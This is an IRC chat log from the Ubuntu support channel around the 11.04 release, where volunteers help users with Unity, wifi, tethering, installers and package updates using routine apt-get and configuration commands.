[18:44] <zetsuboukitteh> "E: unable to locate package deadbeef"
[18:44] <stefg> olabandola: first wind out what make and model it is. lspci / lsusb will tell you that
[18:44] <shcherbak> phunyguy: Well, installing from repos does take minute, at most: sudo apt-get install irssi
[18:44] <ohsix> karma_police: though it did not work well for me until 10.10, what version are you using?
[18:44] <phunyguy> shcherbak, nevermind.
[18:44] <xangua> !hardware | mastro
[18:44] <ubottu> mastro: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport - To help debugging and improving hardware detection, see https://wiki.ubuntu.com/DebuggingHardwareDetection
[18:44] <mastro> (i'll use the laptop for development on java environment)
[18:44] <karma_police> when i try to join at acts as if there is incorret pw
[18:44] <karma_police> 10,10
[18:45] <terrylm> X, screen goes gray, mouse still works, everything apparently still works, just can not be seen.  Ideas?  9.04 and 10.x
[18:45] <arand_> JoshDreamland: Many like 11.04 as well, if you have specific issues report bugs for those.
[18:46] <karma_police> i'm using 10.10 and am trying to access my wifi teatherd android 4g net connection... it works in windoze but cant get it working in ubuntu
[18:46] <phunyguy> OK, empathy works fine.  who said it doesn't?
[18:46] <phunyguy> thanks guys.
[18:46] <kcin1> is  ports.ubuntu.com the only ports repository?
[18:46] <JoshDreamland> arand_: That sounds evil and otherwise nefarious. I'll do it!
[18:46] <xangua> phunyguy: no one
[18:46] <stefg> .mastro: either get an ubuntu preloaded one from companies like system76 or (in case you live in a country they don't deliver to) consider a thinkpad R/L/T-series... it's the de facto standard
[18:46] <xangua> it's just limited phunyguy
[18:47] <olabandola> @stefg  http://pastebin.com/RhiJ9PgV
[18:47] <donpdonp> installing mysql-server did not create an /etc/init.d/mysqld file - how should the server be started?
[18:47] <stefg> olabandola: wait a sec...
[18:47] <Kratos> hi guys, i have a problem trying to use backtrack is anyone up to help?
[18:47] <karma_police> anyone have any suggestions on tethering  android phones with ubuntu?
[18:47] <LjL> !backtrack | Kratos
[18:47] <ubottu> Kratos: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[18:48] <arand_> JoshDreamland: Though of course you shouldn't report bugs that are simply opinions, those could go in the forums, or the mailing lists, or reformulated into ideas for improvements, rather.
[18:48] <ohsix> karma_police: i connect to my phone all the time; it's rooted with wifi tethering though
[18:48] <snowrichard> karma_police,  I didn't have any problem with my htc aria and usb tethering with 10.10. Not tried it in 11.04 yet
[18:48] <karma_police> mine is rooted with barnacle wifi
[18:48] <JoFo> Hello everybody. I've just updated my Karmic to Natty. The menus have disappeared. How could I add a new keyboard driver? Where's Gnome keyboard manager?
[18:48] <Crazy1> everyone ,is time to sleep
[18:48] <ohsix> i don't know what barnacle wifi is
[18:48] <JoshDreamland> arand_: Where does the fact that their beautiful scroll bar idea cost me the ability to quick-scroll with middle mouse button go?
[18:48] <stefg> olabandola: i guess the avagotech device is it
[18:48] <Kratos> im having problems booting bt4 on usb
[18:48] <ohsix> that'd be the place i'd look first for problems
[18:49] <karma_police> i'm using 10.10 with a htc g1 and barnacle wifi tether
[18:49] <IdleOne> !backtrack | Kratos
[18:49] <ubottu> Kratos: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[18:49] <ohsix> Kratos: backtrack isn't supported here
[18:49] <oCean> JoshDreamland: did you just came in here to rant, or do you have actual support question?
[18:49] <karma_police> it works fine on win7 but cannot access using ubuntu
[18:49] <JoshDreamland> oCean: To be honest, mostly to rant.
[18:49] <Pierewoj> Hello, I am kind of new to Ubuntu, I was using my previous ubuntu for programming (had to install some additional libraries like image magick and boost) and after I came back, I installed new Ubuntu 11 and my wifi somehow stopped working. If someone could help me with that, please PM
[18:49] <Kratos> where can i go
[18:49] <xangua>  BackTrack (support in #backtrack-linux)
[18:49] <mastro> stefg, lenovo?
[18:49] <JoshDreamland> Unless you can tell me how to revert my scroll bars.
[18:49] <snowrichard> i didn't have to root my phone to use the tethering - its part of froyo 2.2.2
[18:49] <stefg> mastro: right
[18:49] <oCean> JoshDreamland: In that case, please choose a different channel
[18:49] <ohsix> Pierewoj: broadcom or atheros?
[18:49] <xangua> JoshDreamland: i saw a guide in omg!ubuntu! blog
[18:50] <Sledge> i cant even get ALT+F2
[18:50] <Sledge> unity panel is gone
[18:50] <JoshDreamland> xangua: Thanks much; I'll give it a look.
[18:50] <Pierewoj> let me check it
[18:50] <olabandola> stefg: thats possible , i havent load the module inside of windows , thats hp connection manager that handles that , i have read something about that i have to load the firmware inside windows and then copy the firmware files in ubuntu and use gobi_loader to load them
[18:50] <karma_police> i hate using windoze.. this is the only alternative since i tether my g1
[18:50] <Pierewoj> its my mothers notebook so... :P
[18:50]  * Ultimate_Chaos hugs FloodBot2
[18:50]  * Ultimate_Chaos hugs 36DABKXMR
[18:50]  * Ultimate_Chaos hugs [ND]
[18:50]  * Ultimate_Chaos hugs [OSU]Odysimus
[18:50]  * Ultimate_Chaos hugs [SW]Dodge`oFF
[18:50] <FloodBot2> Ultimate_Chaos: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:50]  * Ultimate_Chaos hugs [thor]
[18:51] <stefg> olabandola: but it could as well be the wlan. Tell about the hardware: what make/model, is the WAN-Adapter internal or is it a stick?
[18:53] <pattysmatty> ljl
[18:53] <muneeb> what to use for onscreen system monitoring? the applet which we had in panel in Ubuntu 10.10 and below
[18:53] <pattysmatty> whats ur job at ubuntu?
[18:53] <jrib> he makes cookies
[18:53] <Pierewoj> oshix, do you see my msgs?
[18:53] <pattysmatty> what kind?
[18:53] <Pierewoj> ohsix
[18:53] <LjL> pattysmatty: i don't work for Ubuntu
[18:54] <xangua> !ot | pattysmatty
[18:54] <ubottu> pattysmatty: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[18:54] <antihero> how do I make read only doc files readable in libreoffice?
[18:54] <kostas> anybody knows about vpn export unknown error?
[18:54] <IdleOne> muneeb: there is a PPA with indicator-sysmonitor http://ppa.launchpad.net/alexeftimie/ppa/ubuntu/
[18:54] <olabandola> stefg_ thanks for helping , its a hp compaq mini 700 xx and its a wwan integrated besides the battery , i put off the battery and then stick in the simcard and then hp connection manager handles the connection and load the firmware ... is there any command to get exakt hardware spec in ubuntu ?
[18:54] <Pierewoj> ohsix: It's atheros
[18:54] <terry> antihero: You mean writable?
[18:54] <muneeb> thanks IdleOne
[18:54] <p_ahuja> hi can anybody provide me help on  http://ubuntuforums.org/showthread.php?p=10745320
[18:55] <antihero> terry: Yeah
[18:55] <_Neytiri_> is there a tutorial on how to make a raid array during installation?
[18:55] <antihero> Sorry, I'm rather hung over
[18:55] <terry> antihero: If you mean writable, open a terminal and do chmod +w  file-name.doc
[18:55] <IdleOne> !raid
[18:55] <ubottu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/Installation/SoftwareRAID and http://www.tldp.org/HOWTO/LVM-HOWTO - For software RAID, see https://help.ubuntu.com/community/FakeRaidHowto
[18:55] <katsrc> why do we need firefox globalmenu?
[18:55] <pattysmatty> is chrome version for linux that u dl via google page same as the chromium that you dl via apt-get chromium???
[18:55] <antihero> terry: It's a property of the document, not on the filesystem
[18:56] <antihero> I think I've figured it out though
[18:56] <tiagoboldt> so, I'm having major issues with my wifi module, read in launchpad that fix has been commited to the kernel and will be released on the next update, any idea when will that happen? on natty
[18:56] <antihero> not sure how, I just clicked on stuff and now it's readable
[18:56] <antihero> *writable
[18:56] <IdleOne> pattysmatty: no. chrome from google is based off chromium-browser
[18:56] <terry> antihero: ok, very good.
[18:56] <pattysmatty> idleone,which one is better?
[18:56] <p_ahuja> I am unable to install any .sh file on natty
[18:57] <ikonia> p_ahuja: whats the isse
[18:57] <ikonia> issue
[18:57] <antler> pattysmatty: neither. both are unstable imo
[18:57] <IdleOne> pattysmatty: they work the same in my opinion.
[18:57] <stefg> olabandola: https://wiki.ubuntu.com/HardwareSupport/Machines/Netbooks#Compaq%20Mini%20700EL makes me optimistic... does normal wlan work out-of-the box?
[18:57] <p_ahuja> ikonia:  check http://ubuntuforums.org/showthread.php?p=10745320
[18:57] <ohsix> pattysmatty: the one that's packaged is better in my opinion, as it will be updated and stuff :D
[18:57] <pattysmatty> ff4 is unstable
[18:57] <p_ahuja> ikonia:  I have posted that
[18:57] <ikonia> p_ahuja: no, just explain the problem
[18:57] <LjL> pattysmatty: i'll stay with chromium-browser myself, because they're pretty much equivalent and i'm not eager to use something proprietary when there's the same thing available as open source. also, one of the main things that Chrome adds is automatic updates from Google, but those are useless in Ubuntu since it gets updated by the package manager
[18:57] <p_ahuja> ikonia:  Okay
[18:57] <antihero> terry: Thanks
[18:58] <terry> antihero: NP
[18:58] <pattysmatty> wouldn't you guys agree that ff4 is still unstable?
[18:58] <p_ahuja> ikonia:  During execution of the program terminal stucks at "Starting Installation Wizard" and no wizard comes up ever
[18:58] <LjL> !ot
[18:58] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[18:58] <ikonia> p_ahuja: no
[18:58] <antler> don't you guys have problems with both chrome and chromium hanging on many, many pages?
[18:58] <ikonia> p_ahuja: sorry, not you
[18:58] <pattysmatty> aww
[18:58] <Pierewoj> please someone help me with my wireless connection on new ubuntu 11, it doesng work after installing ubuntu 11 (its atheros)
[18:58] <IdleOne> pattysmatty: that is off topic for this channel.
[18:59] <pattysmatty> how do I add ff4 to auto updates?
[18:59] <ikonia> p_ahuja: what are you trying to install
[18:59] <ikonia> pattysmatty: when a new ubuntu package is released (updated) you will be offered it
[18:59] <p_ahuja> ikonia:  netbeans 7.0
[18:59] <ohsix> pattysmatty: ff4 is already auto updated like any other package
[18:59] <ikonia> p_ahuja: ok - so what else isn't installing as you said you can't install "any .sh" files, and your describing one .sh file
[18:59] <xangua> !fx4 > pattysmatty if you mean install on lucd/maverick
[18:59] <ubottu> pattysmatty, please see my private message
[19:00] <pattysmatty> speak of the devil, right hwen i said that i looked at update manager... and fresh ff4 updates are here... 16 mb worth
[19:00] <notb> does ubuntu 11.04 's ffmpeg come with h264 support builtin ?
[19:00] <frith> weird dragging windows is really slow,
[19:00] <p_ahuja> yeah i was trying one program  that is jdk 6
[19:00] <cfc_{Pawpad}> what do i type to get updates on a ubuntu server??
[19:00] <terry> Pierewoj: http://ubuntuforums.org/showthread.php?t=1742231
[19:01] <LjL> cfc_{Pawpad}: if you want to do it entirely from CLI, "sudo apt-get update; sudo apt-get dist-upgrade"
[19:01] <ikonia> cfc_{Pawpad}: sudo apt-get update brings your list up to date, sudo apt-get upgrade updates the packages
[19:01] <xangua> cfc_{Pawpad}: sudo apt-get update && sudo apt-get upgrade
[19:01] <mstef> tested 11.04 via thumbdrive - unity loaded fine. just upgraded and now it says i don't have the hardward for it. what can i do?
[19:01] <olabandola> stefg: everything works just absolute fine including wlan , theres is no lan port so i have to use a lan adapter to get local network , and that also works out of the box , its just that mobile brodband i want to get working when iam away so i can remove windows from the computer
[19:01] <necreo> is there still something like netbook remix for 11.04, or is it just the regular ubuntu?
[19:01] <Sledge> ok muneeb i figured out how to login what was that dpkg command again?
[19:01] <p_ahuja> ikonia:  i also tried netbeans setup bundled with jdk6. same problem
[19:01] <iceroot> cfc_{Pawpad}: sudo apt-get update && sudo apt-get dist-upgrade   (not only upgrade)
[19:01] <ikonia> p_ahuja: may have to contact the .sh file owner/support then if it's just that one
[19:01] <Pierewoj> terry: thanks, hope it will work
[19:01] <xangua> necreo: you can use ubuntu on netbooks
[19:01] <terry> necreo: Far as I'm concerned it is, (but I'm not concerned :)
[19:01] <muneeb> Sledge,  sudo dpkg-reconfigure unity
[19:01] <LjL> !unr | necreo
[19:01] <ubottu> necreo: Starting with Ubuntu 11.04, the Ubuntu Netbook Edition is no longer being offered as a separate install as Unity is now standard for all Ubuntu desktop installs.
[19:01] <Sledge> muneeb,  thanks
[19:02] <p_ahuja> ikonia: but its working fine on my PC with 10.10
[19:02] <notb> does ubuntu 11.04 's ffmpeg come with h264 support builtin ?
[19:02] <ikonia> p_ahuja: you're not using 10.10 though, so that's not relevant
[19:02] <olabandola> stefg : i need to go away for some minutes , can i start a private chat with you then , that makes it easier for me to get help ?
[19:02] <ikonia> notb: I don't believe so
[19:02] <notb> ikonia, how can i be sure ?
[19:02] <ikonia> notb: try to encode something ? check the libraries
[19:02] <stefg> olabandola: give me dmesg to pastebin and read http://ubuntuforums.org/showthread.php?t=1008200
[19:02] <terry> LjL: Tnx info
[19:02] <p_ahuja> ikonia:  but that clears file is correct.
[19:02] <necreo> ok, so it is default, will it automatically default to the 2D unity interface? or will it try compiz?
[19:02] <dios_mio> guys, i use a mirror for updates, a mirror in my country.. but i wonder if the updates reach the mirrors just as fast?
[19:03] <ikonia> p_ahuja: no it doesn't, it means that file works with ubuntu 10.10 - that you're not using, so it's not relevant
[19:03] <notb> k, nm, i see
[19:03] <iceroot> dios_mio: yes
[19:03] <Guest91212> hi. How can I know wtf is doing the installer ? it is saying it needs to download packages during one hour ! wtf ! it has already donwloaded the language package
[19:03] <ikonia> Guest91212: you can stop using phrases like "wtf" please
[19:03] <LjL> necreo: uhm i don't think Unity 2D is included yet... it will default to the 3D version. it works on some? most? all? netbooks...
[19:03] <tiagoboldt> dios_mio, they land on the main server and are synced to the mirrors with the frequency that the admins update them
[19:03] <p_ahuja> ikonia:  okay can you send me a link of any working sh file (small) on natty. i try that
[19:04] <terry> Guest91212: You'll just have to be patient, the servers are still over-loaded today.
[19:04] <tiagoboldt> dios_mio, that's usually less than a day, probably less than an hour
[19:04] <ikonia> p_ahuja: no
[19:04] <Sledge> muneeb, still didnt work..
[19:04] <Liera> how can I add more workspace in unity?
[19:04] <p_ahuja> okay any name
[19:04] <ikonia> p_ahuja: no
[19:04] <Guest91212> terry what packages does it needs ?
[19:04] <necreo> LjL: ok thanks, I would still prefer the 2D version, want to get most out of it
[19:05] <terry> Guest91212: I don't knwo.
[19:05] <muneeb> Sledge, on which screen are you on? virtual terminal?
[19:05] <terry> *know
[19:05] <LjL> !info unity-2d | necreo, well it's there
[19:05] <ubottu> necreo, well it's there: unity-2d (source: unity-2d): Unity interface for non-accelerated graphics cards. In component main, is optional. Version 3.8.4.1-0ubuntu1 (natty), package size 7 kB, installed size 124 kB
[19:05] <rgr> Its a really really bad idea doing the equivalent of a net install on release week.
[19:05] <LjL> necreo: i have no idea how "ready" it is, but it's there. you can also choose Classical login from the login screen
[19:05] <terry> rgr: Well said.
[19:06] <miranda_> tem algum brasileiro ai??
[19:06] <necreo> which is the gnome 2.X interface
[19:06] <LjL> !br | miranda_
[19:06] <ubottu> miranda_: Por favor, use #ubuntu-br para ajuda em português. Para entrar no canal por favor faça "/join #ubuntu-br" sem as aspas. Para a comunidade local portuguêsa, use #ubuntu-pt. Obrigado.
[19:06] <miranda_> ALGUM BRASILEIRO?
[19:06] <LjL> miranda_: ^
[19:06] <JoFo> Help! How can I access to the keyboard manager with Natty?
[19:06] <escott> JoFo, hit the unity icon and type in keyboard. is it one of those
[19:06] <olabandola> stefg : i need to leave for ten minutes , can i start a private chat with you then to make it easier for me to work ?
[19:07] <p_ahuja> iBut can any one figure out what the problem could be as one of irc users had tried it on natty too
[19:07] <stefg> olabandola: http://ubuntuforums.org/showthread.php?t=1008200 has all the info. Sorry, no pm
[19:07] <JoFo> escott:  Where is the Unity icon ?
[19:07] <necreo> on a seemingly unrelated note: sometimes unity on my laptop is choppy and I got weird shadow artefacts (binary nvidia driver), however I never get the impression my GPU is being used for Unity, how can I check this?
[19:07] <escott> JoFo, top left of the screen
[19:08] <p_ahuja> arand_: dear can you please tell me that if netbeans worked on yours Natty or not
[19:08] <yfk> how can I remove the workspace switcher from the unity launcher?
[19:08] <escott> necreo, glxinfo will tell you what glx driver you are using
[19:08] <JoFo> escott:  That's it. Thanks.
[19:08] <mastro> stefg, ah.. Lenovo seems too expensive for my company :/ What about Dell Vostro? I haven't seen one in Ubuntu compatibility list
[19:08] <andeeeuk> does alt-tab still work in 11.04?
[19:09] <arand_> p_ahuja: The install started fine, I haven't actually treid starting it.
[19:09] <Sledge> muneeb,  if i do ctrl alt f2, it takes me to a black screen and i can't figure out how to get back to chat once i get in there
[19:09] <Sledge> muneeb,  black login screen..
[19:09] <Zorlin> anyone know how to enable menus and so on in my seperate X screen (nvidia)?
[19:09] <rgr> Sledge: C-a-f7 probably
[19:09] <muneeb> Sledge, ctrl+alt+f7
[19:09] <rach0> Sledge, ctr+alt+f7
[19:09] <p_ahuja> arand_:  thanks.... ikonia  see dear its running on natty
[19:09] <speedy> Here is some startup features to get Natty up and running  >>>  http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[19:09] <Sledge> muneeb,  ok well.. i did the command and still i have nothing
[19:10] <rach0> Sledge, startx maybe
[19:10] <Sledge> muneeb,  ok yes that worked.
[19:10] <mstef> just upgraded to 11.04..unity worked fine when testing off a thumb drive.. after the upgrade, got a message about my hardward not meeting the requirements.. and no unity.. what can be done?
[19:10] <Sledge> i can go back and forth now from terminal and GUI
[19:10] <mstef> my hardward clearly works fine
[19:10] <muneeb> Sledge, did you get Login screen?
[19:11] <Sledge> muneeb,  yes
[19:11] <stefg> mastro: i don't know. i just wanted to let you know that a lot of developers run thinkads, there is huge community support for them so its the most hassle free notebook to run linux on.  Lenovo is quitting the R-series, maybe you can find one on sale
[19:11] <muneeb> Sledge, GUI Login Screen?
[19:11] <Sledge> muneeb,  i executed the command dpkg-reconfigure, no terminal
[19:11] <rgr> mstef: you paste in into pastebin the detailed message you actually got indicating what HW is deemed not to work for a start. People cant not guess.
[19:12] <speedy> Things to do afteru get natty up and completing updated you can apply some of these features >> http://www.ubuntuvibes.com/2011/04/things-to-do-after-installing-new.html
[19:12] <rgr> stefg: ++ on thinkpads. Asus run debian well too so I guess probably Ubuntu too.
[19:12] <Raikia> Uh....ubuntu just logged me out for no reason at all.  While I was working.... Does anyone know why this might happen?
[19:12] <muneeb> Sledge, you have to execute that command on ctrl+alt+f1 i.e. virtual terminal then reboot and try loging in
[19:12] <Sledge> i figured that command sudo dpkg-reconfigure unity would get me back to default, but still no change in the GUI
[19:12] <mstef> rgr, there is no message about the hardware in specifics.. it just says that you don;t have the right hardawrd to run unity..yet it worked fine off the thumb drive
[19:12] <aptidude_> If I have a current installation with a separate partition for home and do the install that says completely erase Ubuntu will it only erase the root partition? or does that completely format the whole disk?
[19:12] <donpdonp> is there a way to get the CPU monitor applet back in the top bar?
[19:13] <rgr> Sledge: no. That does nothing whatsoever unless you put in defaults again.
[19:13] <J_Rey> *sigh*
[19:13] <rgr> mstef: nothing in the logs?
[19:13] <J_Rey> so I found https://help.ubuntu.com/10.10/installation-guide/i386/graphical.html but its not too helpful
[19:13] <Sledge> rgr, so could you please tell me how to put in the defaults?
[19:13] <xangua> donpdonp: there is a cpu monitor 'indicator'
[19:13] <Raikia> Uh....ubuntu just logged me out for no reason at all.  While I was working.... Does anyone know why this might happen?
[19:13] <mstef> rgr, i don;t know where to find that
[19:13] <zzecool> donpdonp,
[19:13] <zzecool> yes
[19:13] <donpdonp> xangua: how would i set that up?
[19:13] <kopeG> Hello, I'm installing uuntu 11.04. The installation wizard hangs on the keyboard layout. what should i do?
[19:13] <zzecool> wait a sec
[19:14] <rgr> mstef: possibly dmesg. /var/log/syslog. google up the details for Ubuntu system logging.
[19:14] <xangua> http://www.omgubuntu.co.uk/2011/01/the-omg-guide-to-must-have-indicator-applets/
[19:14] <zzecool> donpdonp, http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[19:14] <muneeb> rgr does Sledge has to execute that compiz --replace command?
[19:14] <mastro> stefg, thank you.. i'd like to buy one.. but they say it's too expensive :) will be next time
[19:14] <zzecool> read this article
[19:14] <J_Rey> I'm trying to install 10.10 from LiveCD but after clicking Install Ubuntu I get an unrecoverable error
[19:14] <Sledge> muneeb,  i did .. didnt work
[19:14] <rgr> muneeb: I dont know.
[19:14] <donpdonp> zzecool, xangua: thank you!!
[19:14] <Sledge> probably compiz-- replace
[19:14] <Sledge> yes
[19:14] <Sledge> i think i had this problem before
[19:14] <J_Rey> it opens a desktop session then after that
[19:14] <rgr> "doesnt work" is not a lot to go on.
[19:15] <p_ahuja> anybody who could figure out the problem
[19:15] <J_Rey> so would it be recommended to install from CLI or try the Graphical Installer again?
[19:15] <sushemsu>  are there proprietary drivers for on board video for my toshiba laptop on my ubuntu 10.10
[19:15] <Sledge> rgr, i was in ccsm and i canged some settings and conflicts were popping up left and right with desktop cube, and now all of a sudden i cannot run any programs with alt+f2, the unity panel's are gone and im left with nothing but a desktop
[19:15] <muneeb> Sledge, try changing to classic then switch to Unity again
[19:15] <Sledge> muneeb,  the problem is i cannot run CCSM
[19:16] <muneeb> Sledge, well that's strange!!
[19:16] <rgr> switching back and forther wont remove his defaults. He needs top reinstall his default config files.
[19:16] <joe_happy> hey so i play world of warcfraft in ubuntu, but sice i upgraded it to 11.04 its been kind of acting up , like whenever i click on an icon in game the camera just goes flying around and ends up pointing up and stays there
[19:17] <escott> Sledge, did compiz/unity crash. you could try restarting from a terminal if you can access one
[19:17] <J_Rey> sushemsu: if its binary then likely no where you'd have to download & install later
[19:17] <rgr> p_ahuja: what problem? I saw one of the "regs" telling you 10.10 was not relevant but missed what went before.
[19:17] <Sledge> escott the only thing i can access now is virtual terminal
[19:17] <madsy> I'd like to buy an external video recorder. Any recommendations that is guaranteed to work with Ubuntu over USB or Firewire?
[19:17] <kopeG> Hello, I'm installing uuntu 11.04. The installation wizard hangs on the keyboard layout (hour glass + grayed 'back' & 'forward' + "Ready when you are" since 20 minutes). what should i do?
[19:17] <muneeb> Sledge, reinstall unity and ccsm
[19:17] <count0nz> !wine bug
[19:18] <Sledge> sudo apt-get install unity ?
[19:18] <muneeb> Sledge, sudo apt-get purge unity ccsm
[19:18] <rgr> madsy: what SW do you intend to use with it out of curiosity? most SW i looked at for use with video editing on my Linux desktop was simple awful.
[19:18] <rach0> Sledge, sudo apt-get install -reinstall ccsm
[19:18] <p_ahuja> rgr: I was trying to install Netbeans 7.0. During execution of the program terminal stucks at "Starting Installation Wizard" and no wizard comes up ever
[19:18] <escott> Sledge, have you tried logging out and starting a new session?
[19:18] <Sledge> escott,  yes
[19:18] <J_Rey> kopeG: see https://help.ubuntu.com/11.04/installation-guide/index.html
[19:18] <muneeb> Sledge, then sudo apt-get install unity ccsm
[19:19] <madsy> rgr: Cinerella if possible.
[19:19] <p_ahuja> rgr:  I am using Natty
[19:19] <escott> Sledge, or nuke the .compiz/config folder
[19:19] <J_Rey> ok blah blah blah
[19:19] <escott> rather .config/compiz
[19:19] <J_Rey> I'll figure it another day
[19:19] <multi_io> in unity, how can I turn off the super+<number> shortcuts for starting applications from the side panel?
[19:20] <escott> multi_io, probably in ccsm
[19:20] <kostas> I setup a VPN connection and I want to save settings. There is an export button  in the dialog box. When I press it a dialog box appears to save the file. When I confirm file name I get an unknown error. Anybody help???
[19:20] <madsy> rgr: But I don't plan to do a lot of editing anyway. I just want to record my desktop in HD without botching my processor.
[19:21] <RealOp> !upgrade
[19:21] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[19:21] <kopeG> Hello, I'm installing ubuntu 11.04. The installation wizard hangs on the keyboard layout (hour glass + grayed 'back' & 'forward' + "Ready when you are" since 20 minutes). what should i do?
[19:21] <p_ahuja> rgr:  so what do you think could be the error
[19:22] <rgr> madsy: yeah, most of the screen capture utils for X are pretty rubbish : especially with xmonad as a WM. Did you find any decent annottion SW by any chance for adding text to a screen capture?
[19:22] <rgr> p_ahuja: your java version?
[19:22] <p_ahuja> rgr:  image is at http://www.itspriyank.com/Screenshot.png
[19:22] <p_ahuja> rgr:  I am using the pack bundled with java jdk6
[19:23] <rgr> did you not install as root?
[19:23] <escott> kopeG, could you hotplug a usb keyboard?
[19:23] <rgr> I dont know I must admit.
[19:23] <Sledge> said unable to locate package CCSM
[19:23] <ayrton> i upgraded to 11.04  but it looks awful, how do i get it to look like original ubuntu again ?
[19:23] <multi_io> escott: it's not in the "keyboard shortcuts" settings.
[19:23] <d3tour> Hey guys, I have just upgraded to 11.04 (switched to gnome 3 from unity but other than that a pretty basic install) and I am playing around with the screen recording for the first time. Can someone point me in the right direction for saving the recordings in a fileformat other than .webm?
[19:23] <p_ahuja> rgr:  was that for me "did you not install as root?"
[19:24] <escott> multi_io, don't know then. its not designed to be as configurable as gnome2
[19:24] <madsy> rgr: As I mentioned, I use Cinerella when I need to edit video. Nothing else (for Linux) comes close in my opinion.
[19:24]  * rgr wonders why anyone would upgrade to a new version whose mainclaim is a totally different look and feel without first checking it...
[19:24] <muelli> d3tour: you could use smth like istanbul or recordmydesktop
[19:24] <rgr> ah yes
[19:24] <ohsix> madsy: unfortunately your ability to record your desktop relies heavily on the DAMAGE support in your video drivers, and some are very poor
[19:24] <ohsix> rgr: wonder somewhere else.
[19:24] <escott> d3tour, what program are you using to record?
[19:24] <Sledge> muneeb,  it said it was unable to locate package ccsm
[19:24] <p_ahuja> rgr:  sorry but no
[19:24] <muelli> escott: gnoem-shell
[19:25] <madsy> ohsix: Indeed. That's exactly why I want to stream video to an external device instead. Which was my initial question here.
[19:25] <ohsix> madsy: what screen recorders have you tried?
[19:25] <Sledge> muneeb,  ccsm is only the manageing GUI applette im sure compiz needs to be reinstalled anyway
[19:25] <d3tour> escott: I am just using whatever comes with it.
[19:25] <madsy> ohsix: All of them.
[19:25] <stravant> Is there any other volume control applet I can get than gnome-volume-control? Gnome-volume control is instantly re-muting itself when I try to unmute it. I now have reason to believe it's a bug in gnome-volume-control, since I tried it again this morning and it work one time... until I close gnome-volume control and it went back to being muted and now I can't make it work again.
[19:25] <ohsix> madsy: so you've tried vnc2swf?
[19:25] <rgr> d3tour: if you want to really impress your friends use ffmpeg too ...
[19:25] <d3tour> muelli: So just use a different app?
[19:25] <rach0> Sledge, sudo apt-get install -reinstall compiz
[19:25] <p_ahuja> rgr:  could it be problamatic
[19:25] <rgr> rach0: thats doesnt replace config files
[19:26] <ohsix> madsy: and istanbul?
[19:26] <muneeb> Sledge, sudo ap-get install simple-ccsm
[19:26] <muelli> d3tour: yes. I don't know how to modify the GStreamer Pipeline that is used to create that webm video. Dunno even if it's easily possible. It should be by writing a plugin thuogh.
[19:26] <AlecTaylor> hi
[19:26] <madsy> ohsix: I havne't tried vnc2swf, but istanbul yes
[19:26] <d3tour> Alright. Thank you all for your help!
[19:26] <rgr> writing a plugin ... or, just maybe, use another app ...
[19:26] <ohsix> Sledge: ccsm is in the compizconfig-settings-manager package
[19:27] <ohsix> and there are no global compiz options, they are all stored in your user session so reinstalling is going to do nothing
[19:27] <madsy> ohsix: But it doesn't really matter much which software I use. Recording in 1280x800 is too work intensive for my laptop.
[19:27] <AlecTaylor> I've just installed 11.04 in a virtual machine, and I can't get the resolution right. I need 1680x1050 (wide-screen). I've tried changing the resolution and installing VMware Tools to no avail. Any ideas?
[19:27] <muneeb> Sledge, sorry it's compizconfig-settings-manager
[19:27] <ohsix> madsy: odd
[19:27] <rach0> Sledge, sudo apt-get purge compiz ccsm and then sudo apt-get install compiz ccsm
[19:27] <madsy> ohsix: The best solution would be to record from my DVI port with an external device
[19:27] <stravant> ohsix: Do you remember the sound problem from yesterday? This morning I was playing with it and it worked for some reason, but broke again when I closed gnome-volume control. Would I be right in assuming that almost certainly means it's a bug in gnome-volume control?
[19:27] <ohsix> madsy: if you can find something that does that, yes :]
[19:28] <BKTech86> I installed Windows 7 on /dev/sda5, successfully reinstalled grub, but grub doesn't detect the windows7 installation there
[19:28] <BKTech86> how can i fix this?
[19:28] <ohsix> madsy: but you can help recording a lot by disabling compositing and stuff like compiz before you do it
[19:28] <Froq> does anyone know of an IRC client that I can transfer over SSH with the x11 command so I have the interface & all?
[19:28] <rgr> stravant: you would be silly to assume that. It could still be one of many things not least inter process messaging over dbus.
[19:28] <madsy> ohsix: Yes, and that was my question. Suggestions for devices that can record video from DVI, VGA, USB or Firewire. Which works on Ubuntu
[19:28] <muneeb> Sledge, sudo apt-get purge compiz acompizconfig-settings-manager and then sudo apt-get install compiz  compizconfig-settings-manager
[19:28] <avinash> Hi guys , i have problem in browsing .. my wireless is proper and i can see the ip .. can ping other computers in same nw .. but some how not able to browse .. gets stuck in resolving proxy .. any help pls ..
[19:28] <escott> Froq, xchat
[19:28] <ohsix> madsy: damage works kind of well when theres no 3d involved, and something like vnc2swf will have a very low overhead for recording the results in terms of disk space and complexity
[19:28] <Froq> escott: THANKS
[19:28] <rgr> Froq: what "x11 command"?
[19:28] <bahamas> hello. i'm upgrading my ubuntu and at one point it's prompting to choose whether to keep the current menu.lst or install a new one?
[19:28] <rgr> do you mean using x forwarding?
[19:29] <bahamas> what should i do?
[19:29] <a2c4n9e1> hi, i'm confused. my ubuntu can't be pinged from outside, but it can ping to outside. what might go wrong?
[19:29] <rgr> why not use a terminal one like irssi? Much better and faster.
[19:29] <[thor]> Hi Guys, i'm testing a nVidia Corporation G92 [GeForce GTS 250] video device in 11.04. 3D acceleration is not working, and it does not show any available drivers in "Additional Hardware". On startup, the screen flashes as Unity attempts to load, but using "PS -aux \I can run OPENGL applications, but they are extremely slow. Any suggestions?
